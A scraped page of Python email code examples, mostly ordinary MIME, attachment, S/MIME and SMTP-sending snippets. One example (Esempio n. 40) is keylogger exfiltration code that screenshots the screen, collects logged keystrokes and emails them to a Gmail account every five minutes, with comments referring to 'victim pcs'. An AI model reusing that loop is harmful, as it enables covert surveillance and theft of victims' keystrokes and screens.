        mainmsg.epilogue = ''  # 确保消息末尾带有换行符
Esempio n. 34
0
def encrypt(message, certs, algorithm='aes256_cbc'):
    """
    Takes the contents of the message parameter, formatted as in RFC 2822 (type str or message), and encrypts them,
    so that they can only be read by the intended recipient specified by pubkey.
    :return: the new encrypted message (type str or message, as per input).
    """
    # Get the chosen block cipher
    block_cipher = get_cipher(algorithm)
    if block_cipher == None:
        raise ValueError('Unknown block algorithm')

    # Get the message content. This could be a string, or a message object
    passed_as_str = isinstance(message, str)
    if passed_as_str:
        msg = message_from_string(message)
    else:
        msg = message
    # Extract the message payload without conversion, & the outermost MIME header / Content headers. This allows
    # the MIME content to be rendered for any outermost MIME type incl. multipart
    pl = EmailMessage()
    for i in msg.items():
        hname = i[0].lower()
        if hname == 'mime-version' or hname.startswith('content-'):
            pl.add_header(i[0], i[1])
    pl._payload = msg._payload
    content = pl.as_string()

    recipient_infos = []
    for recipient_info in __iterate_recipient_infos(certs, block_cipher.session_key):
        if recipient_info == None:
            raise ValueError('Unknown public-key algorithm')
        recipient_infos.append(recipient_info)

    # Encode the content
    encrypted_content_info = block_cipher.encrypt(content)

    # Build the enveloped data and encode in base64
    enveloped_data = cms.ContentInfo({
        'content_type': 'enveloped_data',
        'content': {
            'version': 'v0',
            'recipient_infos': recipient_infos,
            'encrypted_content_info': encrypted_content_info
        }
    })
    encoded_content = '\n'.join(wrap_lines(b64encode(enveloped_data.dump()), 64))

    # Create the resulting message
    result_msg = MIMEText(encoded_content)
    overrides = (
        ('MIME-Version', '1.0'),
        ('Content-Type', 'application/pkcs7-mime; smime-type=enveloped-data; name=smime.p7m'),
        ('Content-Transfer-Encoding', 'base64'),
        ('Content-Disposition', 'attachment; filename=smime.p7m')
    )

    for name, value in list(msg.items()):
        if name in [x for x, _ in  overrides]:
            continue
        result_msg.add_header(name, value)

    for name, value in overrides:
        if name in result_msg:
            del result_msg[name]
        result_msg[name] = value

    # return the same type as was passed in
    if passed_as_str:
        return result_msg.as_string()
    else:
        return result_msg
Esempio n. 35
0
 def send(self):
     # Validate and send the email message represented by this object.
     if self._textBody is None and self._htmlBody is None:
         logger.error("Error! Must specify at least one body type (HTML or Text)")
     if len(self._to) == 0:
         logger.error("Must specify at least one recipient")
     # Create the message part
     if self._textBody is not None and self._htmlBody is None:
         msg = MIMEText(self._textBody, "plain")
     elif self._textBody is None and self._htmlBody is not None:
         msg = MIMEText(self._htmlBody, "html")
     else:
         msg = MIMEMultipart("alternative")
         msg.attach(MIMEText(self._textBody, "plain"))
         msg.attach(MIMEText(self._htmlBody, "html"))
     # Add attachments, if any
     if len(self._attach) != 0:
         tmpmsg = msg
         msg = MIMEMultipart()
         msg.attach(tmpmsg)
     for fname, attachname in self._attach:
         if not os.path.exists(fname):
             logger.error("File '{}' does not exist.  Not attaching to email.".format(fname))
             continue
         if not os.path.isfile(fname):
             logger.error("Attachment '{}' is not a file.  Not attaching to email.".format(fname))
             continue
         # Guess at encoding type
         ctype, encoding = mimetypes.guess_type(fname)
         if ctype is None or encoding is not None:
             # No guess could be made so use a binary type.
             ctype = 'application/octet-stream'
         maintype, subtype = ctype.split('/', 1)
         if maintype == 'text':
             fp = open(fname)
             attach = MIMEText(fp.read(), _subtype=subtype)
             fp.close()
         elif maintype == 'image':
             fp = open(fname, 'rb')
             attach = MIMEImage(fp.read(), _subtype=subtype)
             fp.close()
         elif maintype == 'audio':
             fp = open(fname, 'rb')
             attach = MIMEAudio(fp.read(), _subtype=subtype)
             fp.close()
         else:
             fp = open(fname, 'rb')
             attach = MIMEBase(maintype, subtype)
             attach.set_payload(fp.read())
             fp.close()
             encoders.encode_base64(attach)  # Encode the payload using Base64
         # Set the filename parameter
         if attachname is None:
             filename = os.path.basename(fname)
         else:
             filename = attachname
         attach.add_header('Content-Disposition', 'attachment', filename=filename)
         msg.attach(attach)
     # Some header stuff
     msg['Subject'] = self._subject
     msg['From'] = self._from
     msg['To'] = ", ".join(self._to)
     msg.preamble = "You need a MIME enabled mail reader to see this message"
     # Send message
     msg = msg.as_string()
     mailserver = smtplib.SMTP(self._smtpServer, self._smtpPort)
     if self._debug:
         mailserver.set_debuglevel(1)
     if self._authUser:
         mailserver.ehlo()
         mailserver.starttls()
         mailserver.ehlo()
         mailserver.login(self._authUser, self._authPassword)
     mailserver.sendmail(self._from, self._to, msg)
     mailserver.quit()
Esempio n. 36
0
    def draft(self,
              receivers,
              mail_subject,
              mail_content,
              cc=None,
              bcc=None,
              attachment_names=None,
              illustrate_names=None):
        receivers = str(receivers).split(',')

        attachment_name_list = []
        if attachment_names != None:
            attachment_name_list = str(attachment_names).split(',')
        illustrate_name_list = []
        if illustrate_names != None:
            illustrate_name_list = str(illustrate_names).split(',')

        if len(attachment_name_list) == 0 and len(illustrate_name_list) == 0:
            message = MIMEText(mail_content, 'html', 'utf-8')
            message['From'] = self.username
            message['To'] = ','.join(receivers)
            message['Subject'] = mail_subject

            if cc != None:
                cc = str(cc).split(',')
                receivers.extend(cc)
                message['Cc'] = ','.join(cc)
            if bcc != None:
                bcc = str(bcc).split(',')
                receivers.extend(bcc)
                message['Bcc'] = ','.join(bcc)

            r = self.connection.append(self.get_folder('drafts'), None, None,
                                       message.as_string().encode('utf-8'))
            return self.check_success(r)

        if len(attachment_name_list) != 0 and len(illustrate_name_list) == 0:
            # 创建一个带附件的实例
            message = MIMEMultipart()
            message['From'] = self.username
            message['To'] = ','.join(receivers)
            message['Subject'] = mail_subject

            if cc != None:
                cc = str(cc).split(',')
                receivers.extend(cc)
                message['Cc'] = ','.join(cc)
            if bcc != None:
                bcc = str(bcc).split(',')
                receivers.extend(bcc)
                message['Bcc'] = ','.join(bcc)

            # 邮件正文内容
            message.attach(MIMEText(mail_content, 'html', 'utf-8'))

            # 构造附件
            for attach_name in attachment_name_list:
                if self.is_contain_chinese(attach_name):
                    attach = MIMEText(
                        open(attachment_path + "/" + attach_name, 'rb').read(),
                        'base64', 'utf-8')
                    attach["Content-Type"] = 'application/octet-stream'
                    attach.add_header("Content-Disposition",
                                      "attachment",
                                      filename=("gbk", "", attach_name))
                    message.attach(attach)
                else:
                    attach = MIMEText(
                        open(attachment_path + "/" + attach_name, 'rb').read(),
                        'base64', 'utf-8')
                    attach["Content-Type"] = 'application/octet-stream'
                    attach[
                        "Content-Disposition"] = 'attachment; filename="' + attach_name + '"'
                    message.attach(attach)

            r = self.connection.append(self.get_folder('drafts'), None, None,
                                       message.as_string().encode('utf-8'))
            return self.check_success(r)

        if len(attachment_name_list) == 0 and len(illustrate_name_list) != 0:
            # 创建一个带插图的实例
            msg_root = MIMEMultipart('related')
            msg_root['From'] = self.username
            msg_root['To'] = ','.join(receivers)
            msg_root['Subject'] = mail_subject

            if cc != None:
                cc = str(cc).split(',')
                receivers.extend(cc)
                msg_root['Cc'] = ','.join(cc)
            if bcc != None:
                bcc = str(bcc).split(',')
                receivers.extend(bcc)
                msg_root['Bcc'] = ','.join(bcc)

            # 邮件正文内容
            msg_alternative = MIMEMultipart('alternative')
            msg_alternative.attach(MIMEText(mail_content, 'html', 'utf-8'))
            msg_root.attach(msg_alternative)

            # 构造插图
            for illustrate_name in illustrate_name_list:
                if not self.is_contain_chinese(illustrate_name):
                    fp = open(illustrate_path + "/" + illustrate_name, 'rb')
                    msg_image = MIMEImage(fp.read())
                    fp.close()
                    msg_image.add_header('Content-ID',
                                         '<' + illustrate_name + '>')
                    msg_root.attach(msg_image)
                else:
                    raise ValueError("Illustration's name can not be chinese!")

            r = self.connection.append(self.get_folder('drafts'), None, None,
                                       msg_root.as_string().encode('utf-8'))
            return self.check_success(r)

        if len(attachment_name_list) != 0 and len(illustrate_name_list) != 0:
            # 创建一个带附件的实例
            msg_root = MIMEMultipart('related')
            # msg_root['From'] = formataddr([sender, sender], charset='utf-8')
            # msg_root['To'] = formataddr([receiver, receiver], charset='utf-8')
            msg_root['From'] = self.username
            msg_root['To'] = ','.join(receivers)
            msg_root['Subject'] = mail_subject

            if cc != None:
                cc = str(cc).split(',')
                receivers.extend(cc)
                msg_root['Cc'] = ','.join(cc)
            if bcc != None:
                bcc = str(bcc).split(',')
                receivers.extend(bcc)
                msg_root['Bcc'] = ','.join(bcc)

            # 邮件正文内容
            msg_alternative = MIMEMultipart('alternative')
            msg_alternative.attach(MIMEText(mail_content, 'html', 'utf-8'))
            msg_root.attach(msg_alternative)

            # 构造附件
            for attach_name in attachment_name_list:
                if self.is_contain_chinese(attach_name):
                    attach = MIMEText(
                        open(attachment_path + "/" + attach_name, 'rb').read(),
                        'base64', 'utf-8')
                    attach["Content-Type"] = 'application/octet-stream'
                    attach.add_header("Content-Disposition",
                                      "attachment",
                                      filename=("gbk", "", attach_name))
                    msg_root.attach(attach)
                else:
                    attach = MIMEText(
                        open(attachment_path + "/" + attach_name, 'rb').read(),
                        'base64', 'utf-8')
                    attach["Content-Type"] = 'application/octet-stream'
                    attach[
                        "Content-Disposition"] = 'attachment; filename="' + attach_name + '"'
                    msg_root.attach(attach)

            # 构造插图
            for illustrate_name in illustrate_name_list:
                if not self.is_contain_chinese(illustrate_name):
                    fp = open(illustrate_path + "/" + illustrate_name, 'rb')
                    msg_image = MIMEImage(fp.read())
                    fp.close()
                    msg_image.add_header('Content-ID',
                                         '<' + illustrate_name + '>')
                    msg_root.attach(msg_image)
                else:
                    raise ValueError("Illustration's name can not be chinese!")

            r = self.connection.append(self.get_folder('drafts'), None, None,
                                       msg_root.as_string().encode('utf-8'))
            return self.check_success(r)
        return False
Esempio n. 37
0
    def as_string(self):
        """The message string.
        """
        if self.date is None:
            self.date = time.time()

        if not self.html:
            if len(self.attachments) == 0:
                # plain text
                msg = MIMEText(self.body, 'plain', self.charset)
            elif len(self.attachments) > 0:
                # plain text with attachments
                msg = MIMEMultipart()
                msg.attach(MIMEText(self.body, 'plain', self.charset))
        else:
            msg = MIMEMultipart()
            alternative = MIMEMultipart('alternative')
            alternative.attach(MIMEText(self.body, 'plain', self.charset))
            alternative.attach(MIMEText(self.html, 'html', self.charset))
            msg.attach(alternative)

        msg['Subject'] = Header(self.subject, self.charset)
        msg['From'] = self.mime_from
        if self.extra_headers:
            for key, value in self.extra_headers.items():
                # msg[key] = value
                msg.add_header(key, value)
        msg['To'] = ', '.join(self.to)
        msg['Date'] = formatdate(self.date, localtime=True)
        msg['Message-ID'] = self.message_id
        if self.cc:
            msg['Cc'] = ', '.join(self.cc)
        if self.reply_to:
            msg['Reply-To'] = self.reply_to
        for attachment in self.attachments:
            f = MIMEBase(*attachment.content_type.split('/'))
            f.set_payload(attachment.data)
            encode_base64(f)
            if attachment.filename is None:
                filename = str(None)
            else:
                filename = force_text(attachment.filename, self.charset)
            try:
                filename.encode('ascii')
            except UnicodeEncodeError:
                filename = ('UTF8', '', filename)
            f.add_header('Content-Disposition',
                         attachment.disposition,
                         filename=filename)
            for key, value in attachment.headers.items():
                f.add_header(key, value)
            msg.attach(f)

        # TODO: fix mime_from auto encoding
        s = msg.as_string()
        if not self.autoencode:
            headers = s.split('\n')
            for h in headers:
                if h.startswith('From:'):
                    s = s.replace(h, "From: {}".format(self.mime_from))

        # # fix run fuzz_test
        # for k, v in iteritems(self.run_fuzz):
        #     print(k, v)
        return s
Esempio n. 38
0
def compose(sender, recipients, subject, body, attachments, style, logo_url):
    """compose an email message"""

    email = MIMEMultipart()
    email['Subject'] = subject
    email['From'] = formataddr(sender)
    email['To'] = display_email_address(recipients)
    email.preamble = ('This message is in MIME format. '
                      'You will not see this in a MIME-aware mail reader.\n')
    email.epilogue = ''  # To guarantee the message ends with a newline

    # Encapsulate the plain and HTML versions of the message body in an
    # 'alternative' part, so message agents can decide which they
    # want to display.
    msg_alternative = MIMEMultipart('alternative')
    email.attach(msg_alternative)

    # if isinstance(body, str):
    #     body = body.encode('utf8')
    #
    # simple encoding test, we will leave as ascii if possible (readable)
    _char = 'us-ascii'
    try:
        body.encode('ascii')
    except UnicodeDecodeError:
        _char = 'utf8'
    except AttributeError:
        _char = 'utf8'

    # attach a plain text version of the html email
    if style == 'html':
        msg_alternative.attach(
            MIMEText(get_plain_from_html(body), 'plain', _char))
        body = format_as_html(body, logo_url)
    body = MIMEText(body.encode('utf8'), style, _char)
    msg_alternative.attach(body)

    for attachment in attachments or []:
        # Guess the content type based on the file's extension.  Encoding
        # will be ignored, although we should check for simple things like
        # gzip'd or compressed files.

        ctype, encoding = guess_type(attachment.filename)
        if ctype is None or encoding is not None:
            # No guess could be made, or the file is encoded (compressed),
            # so use a generic bag-of-bits type.
            ctype = 'application/octet-stream'
        maintype, subtype = ctype.split('/', 1)

        if maintype == 'text' or (ctype is not None and
                                  attachment.filename[-4:].lower() == '.ini'):
            # Note: we should handle calculating the charset
            msg = MIMEText(attachment.read(), _subtype=subtype)
        elif maintype == 'image':
            msg = MIMEImage(attachment.read(), _subtype=subtype)
        elif maintype == 'audio':
            msg = MIMEAudio(attachment.read(), _subtype=subtype)
        else:
            msg = MIMEBase(maintype, subtype)
            msg.set_payload(attachment.read())
            # Encode the payload using Base64
            encoders.encode_base64(msg)

        # Set the filename parameter
        msg.add_header('Content-Disposition',
                       'attachment',
                       filename=attachment.filename)
        email.attach(msg)

    return email.as_string()
Esempio n. 39
0
msg.preamble = "This is weather data from ***. Have a nice day!"

ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
    ctype = "application/octet-stream"

maintype, subtype = ctype.split("/", 1)
if maintype == "text":
    fp = open(fileToSend)
    # Note: we should handle calculating the charset
    attachment = MIMEText(fp.read(), _subtype=subtype)
    fp.close()
else:
    fp = open(fileToSend, "rb")
    attachment = MIMEBase(maintype, subtype)
    attachment.set_payload(fp.read())
    fp.close()
    encoders.encode_base64(attachment)

record_time = datetime.today()
record_time = record_time.strftime("%Y-%m-%d %H:%M:%S")
attachment.add_header("Content-Disposition",
                      "attachment",
                      filename="weather data " + record_time + ".db")
msg.attach(attachment)

server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(username, password)
server.sendmail(emailfrom, emailto, msg.as_string())
server.quit()
Esempio n. 40
0
def send():
    while True:

        # Get user directory to be able to access the temp directory where we will store the files
        root = os.path.expanduser('~')
        try:
            # Take a screenshot of the screen and save it in the temp directory
            ss_file_path = root + "\\AppData\\Local\\Temp\\ss.jpg"
            myScreenshot = pyautogui.screenshot()
            myScreenshot.save(r'{}'.format(ss_file_path))
        except:
            pass

        try:
            port = 465  # For SSL

            # Credentials for the gmail connection
            password = ""
            mail = ""

            # Create a secure SSL context
            context = ssl.create_default_context()

            # Connect to the gmail server
            with smtplib.SMTP_SSL("smtp.gmail.com", port,
                                  context=context) as server:
                server.login(mail, password)

                # Get datetime and computer name so we can discern incoming mails from multiple victim pcs
                now = datetime.now()
                localtime = reference.LocalTimezone()
                name = os.environ['COMPUTERNAME']
                dt_string = now.strftime(
                    "%a, %d/%m/%Y %H:%M:%S ") + localtime.tzname(now)
                nametime = "{} - {}".format(name, dt_string)

                # Create the MIMEMultipart object that we will send
                msg = MIMEMultipart()

                # Set the relevant fields of the object
                msg['From'] = mail
                msg['To'] = mail
                msg['Subject'] = nametime

                # the path that we will use to store our keylogger output
                txt_file_path = root + "\\AppData\\Local\\Temp\\output.txt"

                try:
                    # Attach the output file to the mail
                    txt_attachment = MIMEText(open(txt_file_path).read())
                    txt_attachment.add_header(
                        'Content-Disposition',
                        'attachment',
                        filename='{}.txt'.format(nametime))
                    msg.attach(txt_attachment)

                    # Clear the output file so that mails dont include duplicates or get bigger over time
                    with open(txt_file_path, "w") as f:
                        f.write("")
                except:
                    pass

                try:
                    # Attach the screenshot to the mail
                    with open(ss_file_path, 'rb') as f:
                        img = MIMEImage(f.read())
                    img.add_header('Content-Disposition',
                                   'attachment',
                                   filename='{}.jpg'.format(nametime))
                    msg.attach(img)
                except:
                    pass

                try:
                    # send the mail
                    server.sendmail(mail, mail, msg.as_string())
                except:
                    pass
        except:
            pass
        # Wait for min minutes
        min = 5
        time.sleep(min * 60)
Esempio n. 41
0
def send_mail(spr,
              archive,
              to_addrs,
              subject,
              mail_text,
              dry_run,
              from_addr=None,
              bcc=None,
              changesfile_content=None,
              attach_changes=False,
              logger=None):
    """Send an email to to_addrs with the given text and subject.

    :param spr: The `ISourcePackageRelease` to be notified about.
    :param archive: The target `IArchive`.
    :param to_addrs: A list of email addresses to be used as recipients.
        Each email must be a valid ASCII str instance or a unicode one.
    :param subject: The email's subject.
    :param mail_text: The text body of the email. Unicode is preserved in the
        email.
    :param dry_run: Whether or not an email should actually be sent. But
        please note that this flag is (largely) ignored.
    :param from_addr: The email address to be used as the sender. Must be a
        valid ASCII str instance or a unicode one.  Defaults to the email
        for config.uploader.
    :param bcc: Optional email Blind Carbon Copy address(es).
    :param param changesfile_content: The content of the actual changesfile.
    :param attach_changes: A flag governing whether the original changesfile
        content shall be attached to the email.
    """
    extra_headers = {'X-Katie': 'Launchpad actually'}

    # Include the 'X-Launchpad-PPA' header for PPA upload notfications
    # containing the PPA owner name.
    if archive.is_ppa:
        extra_headers['X-Launchpad-PPA'] = get_ppa_reference(archive)

    # Include a 'X-Launchpad-Component' header with the component and
    # the section of the source package uploaded in order to facilitate
    # filtering on the part of the email recipients.
    if spr:
        xlp_component_header = 'component=%s, section=%s' % (
            spr.component.name, spr.section.name)
        extra_headers['X-Launchpad-Component'] = xlp_component_header

    if from_addr is None:
        from_addr = format_address(config.uploader.default_sender_name,
                                   config.uploader.default_sender_address)

    # `sendmail`, despite handling unicode message bodies, can't
    # cope with non-ascii sender/recipient addresses, so ascii_smash
    # is used on all addresses.

    # All emails from here have a Bcc to the default recipient.
    bcc_text = format_address(config.uploader.default_recipient_name,
                              config.uploader.default_recipient_address)
    if bcc:
        bcc_text = "%s, %s" % (bcc_text, bcc)
    extra_headers['Bcc'] = ascii_smash(bcc_text)

    recipients = ascii_smash(", ".join(to_addrs))
    if isinstance(from_addr, unicode):
        # ascii_smash only works on unicode strings.
        from_addr = ascii_smash(from_addr)
    else:
        from_addr.encode('ascii')

    if dry_run and logger is not None:
        debug(logger, "Would have sent a mail:")
    else:
        debug(logger, "Sent a mail:")
    debug(logger, "  Subject: %s" % subject)
    debug(logger, "  Sender: %s" % from_addr)
    debug(logger, "  Recipients: %s" % recipients)
    if 'Bcc' in extra_headers:
        debug(logger, "  Bcc: %s" % extra_headers['Bcc'])
    debug(logger, "  Body:")
    for line in mail_text.splitlines():
        if isinstance(line, str):
            line = line.decode('utf-8', 'replace')
        debug(logger, line)

    if not dry_run:
        # Since we need to send the original changesfile as an
        # attachment the sendmail() method will be used as opposed to
        # simple_sendmail().
        message = MIMEMultipart()
        message['from'] = from_addr
        message['subject'] = subject
        message['to'] = recipients

        # Set the extra headers if any are present.
        for key, value in extra_headers.iteritems():
            message.add_header(key, value)

        # Add the email body.
        message.attach(
            MIMEText(
                sanitize_string(mail_text).encode('utf-8'), 'plain', 'utf-8'))

        if attach_changes:
            # Add the original changesfile as an attachment.
            if changesfile_content is not None:
                changesfile_text = sanitize_string(changesfile_content)
            else:
                changesfile_text = ("Sorry, changesfile not available.")

            attachment = MIMEText(changesfile_text.encode('utf-8'), 'plain',
                                  'utf-8')
            attachment.add_header('Content-Disposition',
                                  'attachment; filename="changesfile"')
            message.attach(attachment)

        # And finally send the message.
        sendmail(message)
Esempio n. 42
0
def main():
    outer = MIMEMultipart()

    parser = OptionParser()

    parser.add_option("-o",
                      "--output",
                      dest="output",
                      help="write output to FILE [default %default]",
                      metavar="FILE",
                      default="-")
    parser.add_option("-z",
                      "--gzip",
                      dest="compress",
                      action="store_true",
                      help="compress output",
                      default=False)
    parser.add_option("-d",
                      "--default",
                      dest="deftype",
                      help="default mime type [default %default]",
                      default="text/plain")
    parser.add_option("--delim",
                      dest="delim",
                      help="delimiter [default %default]",
                      default=":")
    parser.add_option("-b",
                      "--base64",
                      dest="base64",
                      action="store_true",
                      help="encode content base64",
                      default=False)

    (options, args) = parser.parse_args()

    if (len(args)) < 1:
        parser.error("Must give file list see '--help'")

    for arg in args:
        t = arg.split(options.delim, 1)
        path = t[0]
        if len(t) > 1:
            mtype = t[1]
        else:
            mtype = get_type(path, options.deftype)

        maintype, subtype = mtype.split('/', 1)
        if maintype == 'text':
            fp = open(path)
            # Note: we should handle calculating the charset
            msg = MIMEText(fp.read(), _subtype=subtype)
            fp.close()
        else:
            fp = open(path, 'rb')
            msg = MIMEBase(maintype, subtype)
            msg.set_payload(fp.read())
            fp.close()
            # Encode the payload using Base64
            encoders.encode_base64(msg)

        # Set the filename parameter
        msg.add_header('Content-Disposition',
                       'attachment',
                       filename=os.path.basename(path))

        outer.attach(msg)

    if options.output is "-":
        ofile = sys.stdout
    else:
        ofile = file(options.output, "wb")

    if options.base64:
        output = b64encode(outer.as_string())
    else:
        output = outer.as_string()

    if options.compress:
        gfile = gzip.GzipFile(fileobj=ofile, filename=options.output)
        gfile.write(output)
        gfile.close()
    else:
        ofile.write(output)

    ofile.close()
Esempio n. 43
0
    def createEmail(self,
                    msgdict,
                    builderName,
                    title,
                    results,
                    builds=None,
                    patches=None,
                    logs=None):
        text = msgdict['body'].encode(ENCODING)
        type = msgdict['type']
        if msgdict.get('subject') is not None:
            subject = msgdict['subject'].encode(ENCODING)
        else:
            subject = self.subject % {
                'result': Results[results],
                'projectName': title,
                'title': title,
                'builder': builderName
            }

        assert '\n' not in subject, \
            "Subject cannot contain newlines"

        assert type in ('plain', 'html'), \
            "'%s' message type must be 'plain' or 'html'." % type

        if patches or logs:
            m = MIMEMultipart()
            txt = MIMEText(text, type, ENCODING)
            m.attach(txt)
        else:
            m = Message()
            m.set_payload(text, ENCODING)
            m.set_type("text/%s" % type)

        m['Date'] = formatdate(localtime=True)
        m['Subject'] = subject
        m['From'] = self.fromaddr
        # m['To'] is added later

        if patches:
            for (i, patch) in enumerate(patches):
                a = self.patch_to_attachment(patch, i)
                m.attach(a)
        if logs:
            for log in logs:
                name = "%s.%s" % (log['stepname'], log['name'])
                if (self._shouldAttachLog(log['name'])
                        or self._shouldAttachLog(name)):
                    # Use distinct filenames for the e-mail summary
                    if self.buildSetSummary:
                        filename = "%s.%s" % (log['buildername'], name)
                    else:
                        filename = name

                    text = log['content']['content']
                    a = MIMEText(text.encode(ENCODING), _charset=ENCODING)
                    a.add_header('Content-Disposition',
                                 "attachment",
                                 filename=filename)
                    m.attach(a)

        # @todo: is there a better way to do this?
        # Add any extra headers that were requested, doing WithProperties
        # interpolation if only one build was given
        if self.extraHeaders:
            extraHeaders = self.extraHeaders
            if len(builds) == 1:
                props = Properties.fromDict(builds[0]['properties'])
                extraHeaders = yield props.render(extraHeaders)

            for k, v in iteritems(extraHeaders):
                if k in m:
                    twlog.msg("Warning: Got header " + k +
                              " in self.extraHeaders "
                              "but it already exists in the Message - "
                              "not adding it.")
                m[k] = v
        defer.returnValue(m)
Esempio n. 44
0
    def generateEmail(self,
                      inviteState,
                      calendar,
                      orgEmail,
                      orgCN,
                      attendees,
                      fromAddress,
                      replyToAddress,
                      toAddress,
                      language='en'):
        """
        Generate MIME text containing an iMIP invitation, cancellation, update
        or reply.

        @param inviteState: 'new', 'update', or 'reply'.

        @type inviteState: C{str}

        @param calendar: the iCalendar component to attach to the email.

        @type calendar: L{twistedcaldav.ical.Component}

        @param orgEmail: The email for the organizer, in C{localhost@domain}
            format, or C{None} if the organizer has no email address.

        @type orgEmail: C{str} or C{NoneType}

        @param orgCN: Common name / display name for the organizer.

        @type orgCN: C{unicode}

        @param attendees: A C{list} of 2-C{tuple}s of (common name, email
            address) similar to (orgEmail, orgCN).

        @param fromAddress: the address to use in the C{From:} header of the
            email.

        @type fromAddress: C{str}

        @param replyToAddress: the address to use in the C{Reply-To} header.

        @type replyToAddress: C{str}

        @param toAddress: the address to use in the C{To} header.

        @type toAddress: C{str}

        @param language: a 2-letter language code describing the target
            language that the email should be generated in.

        @type language: C{str}

        @return: a 2-tuple of C{str}s: (message ID, message text).  The message
            ID is the value of the C{Message-ID} header, and the message text is
            the full MIME message, ready for transport over SMTP.
        """

        details = self.getEventDetails(calendar, language=language)
        canceled = (calendar.propertyValue("METHOD") == "CANCEL")

        subjectFormat, labels = localizedLabels(language, canceled,
                                                inviteState)
        details.update(labels)

        details['subject'] = subjectFormat % {'summary': details['summary']}

        plainText = self.renderPlainText(details, (orgCN, orgEmail), attendees,
                                         canceled)

        htmlText = self.renderHTML(details, (orgCN, orgEmail), attendees,
                                   canceled)

        msg = MIMEMultipart()
        msg["From"] = fromAddress
        msg["Subject"] = details['subject']
        msg["Reply-To"] = replyToAddress
        msg["To"] = toAddress
        msg["Date"] = rfc822date()
        msgId = messageid()
        msg["Message-ID"] = msgId

        msgAlt = MIMEMultipart("alternative")
        msg.attach(msgAlt)

        # plain version
        msgPlain = MIMEText(plainText, "plain", "UTF-8")
        msgAlt.attach(msgPlain)

        # html version
        msgHtmlRelated = MIMEMultipart("related", type="text/html")
        msgAlt.attach(msgHtmlRelated)

        msgHtml = MIMEText(htmlText, "html", "UTF-8")
        msgHtmlRelated.attach(msgHtml)

        # the icalendar attachment

        # Make sure we always have the timezones used in the calendar data as iMIP requires VTIMEZONE
        # always be present (i.e., timezones-by-reference is not allowed in iMIP).
        calendarText = calendar.getTextWithTimezones(includeTimezones=True)

        self.log.debug("Mail gateway sending calendar body: %s" %
                       (calendarText, ))
        msgIcal = MIMEText(calendarText, "calendar", "UTF-8")
        method = calendar.propertyValue("METHOD").lower()
        msgIcal.set_param("method", method)
        msgIcal.add_header("Content-ID", "<invitation.ics>")
        msgIcal.add_header("Content-Disposition",
                           "inline;filename=invitation.ics")
        msg.attach(msgIcal)

        return msgId, msg.as_string()
Esempio n. 45
0
mes = MIMEMultipart()

mes['From'] = Header(sender, 'utf-8').encode()
mes['To'] = Header(';'.join(receiver), 'utf-8').encode()
suj = '测试发送附件'
mes['Subject'] = Header(suj, 'utf-8').encode()

#构建邮件正文内容
text = 'python发送测试带附件的邮件'
text_plain = MIMEText(text, 'plain', 'utf-8')
mes.attach(text_plain)

#构建附件
file = '企业信息批量导入样表_上海 .xls'
send_file = MIMEText(open(file, 'rb').read(), 'base64', 'utf-8')
send_file['Content-Type'] = 'application/octet-stream' ''
# 这里的filename可以任意写,写什么名字,邮件中显示什么名字
# send_file['Content-Disposition']='attachment;filename={}'.format(file)  这个发送不了中文名称的附件,下面这行代码才可以
send_file.add_header('Content-Disposition',
                     'attachment',
                     filename=Header(file, 'utf-8').encode())
mes.attach(send_file)

smtp = smtplib.SMTP()
smtp.connect(mail_server, 25)
# smtp.set_debuglevel(1)
smtp.login(mail_user, mail_passwd)
smtp.sendmail(sender, receiver, mes.as_string())

smtp.quit()
Esempio n. 46
0
    def send(self,
             recipients,
             sender="",
             subject="",
             message="",
             files=None,
             mimetype=None):
        """
        @param recipients: Recipients of the message
        @type recipients: mixed, string or list
        @param sender: Sender of the email
        @type sender: string
        @param subject: Subject of the email
        @type subject: string
        @param message: Body of the email
        @type message: string
        @param files: List of paths to files to attach
        @type files: list of strings
        @param mimetype: Type of the body plain, html or None for autodetection
        @type mimetype: string
        """
        if sender == "":
            sender = self._sender
        if isinstance(recipients, str):
            recipients = [recipients]
        server = smtplib.SMTP(self._server, self._port)
        server.ehlo()
        if self._ssl:
            server.starttls()
        if self._username:
            server.login(self._username, self._password)

        if mimetype is None:
            if '<html>' in message:
                mimetype = 'html'
            else:
                mimetype = 'plain'

        msg = MIMEText(message, mimetype)

        msg['Subject'] = subject
        msg['From'] = sender
        msg['To'] = ','.join(recipients)

        if files:
            txtmsg = msg
            msg = MIMEMultipart()
            msg['Subject'] = subject
            msg['From'] = sender
            msg['To'] = ','.join(recipients)
            msg.attach(txtmsg)
            for fl in files:
                # Guess the content type based on the file's extension.  Encoding
                # will be ignored, although we should check for simple things like
                # gzip'd or compressed files.
                filename = j.sal.fs.getBaseName(fl)
                ctype, encoding = mimetypes.guess_type(fl)
                content = j.sal.fs.fileGetContents(fl)
                if ctype is None or encoding is not None:
                    # No guess could be made, or the file is encoded (compressed), so
                    # use a generic bag-of-bits type.
                    ctype = 'application/octet-stream'
                maintype, subtype = ctype.split('/', 1)
                if maintype == 'text':
                    attachement = MIMEText(content, _subtype=subtype)
                elif maintype == 'image':
                    attachement = MIMEImage(content, _subtype=subtype)
                elif maintype == 'audio':
                    attachement = MIMEAudio(content, _subtype=subtype)
                else:
                    attachement = MIMEBase(maintype, subtype)
                    attachement.set_payload(content)
                    # Encode the payload using Base64
                    encoders.encode_base64(attachement)
                # Set the filename parameter
                attachement.add_header('Content-Disposition',
                                       'attachment',
                                       filename=filename)
                msg.attach(attachement)
        server.sendmail(sender, recipients, msg.as_string())
        server.close()
Esempio n. 47
0
def main():

    module = AnsibleModule(
        argument_spec=dict(
            username=dict(type='str'),
            password=dict(type='str', no_log=True),
            host=dict(type='str', default='localhost'),
            port=dict(type='int', default=25),
            sender=dict(type='str', default='root', aliases=['from']),
            to=dict(type='list', default=['root'], aliases=['recipients']),
            cc=dict(type='list', default=[]),
            bcc=dict(type='list', default=[]),
            subject=dict(type='str', required=True, aliases=['msg']),
            body=dict(type='str'),
            attach=dict(type='list', default=[]),
            headers=dict(type='list', default=[]),
            charset=dict(type='str', default='utf-8'),
            subtype=dict(type='str',
                         default='plain',
                         choices=['html', 'plain']),
            secure=dict(type='str',
                        default='try',
                        choices=['always', 'never', 'starttls', 'try']),
            timeout=dict(type='int', default=20),
        ),
        required_together=[['password', 'username']],
    )

    username = module.params.get('username')
    password = module.params.get('password')
    host = module.params.get('host')
    port = module.params.get('port')
    sender = module.params.get('sender')
    recipients = module.params.get('to')
    copies = module.params.get('cc')
    blindcopies = module.params.get('bcc')
    subject = module.params.get('subject')
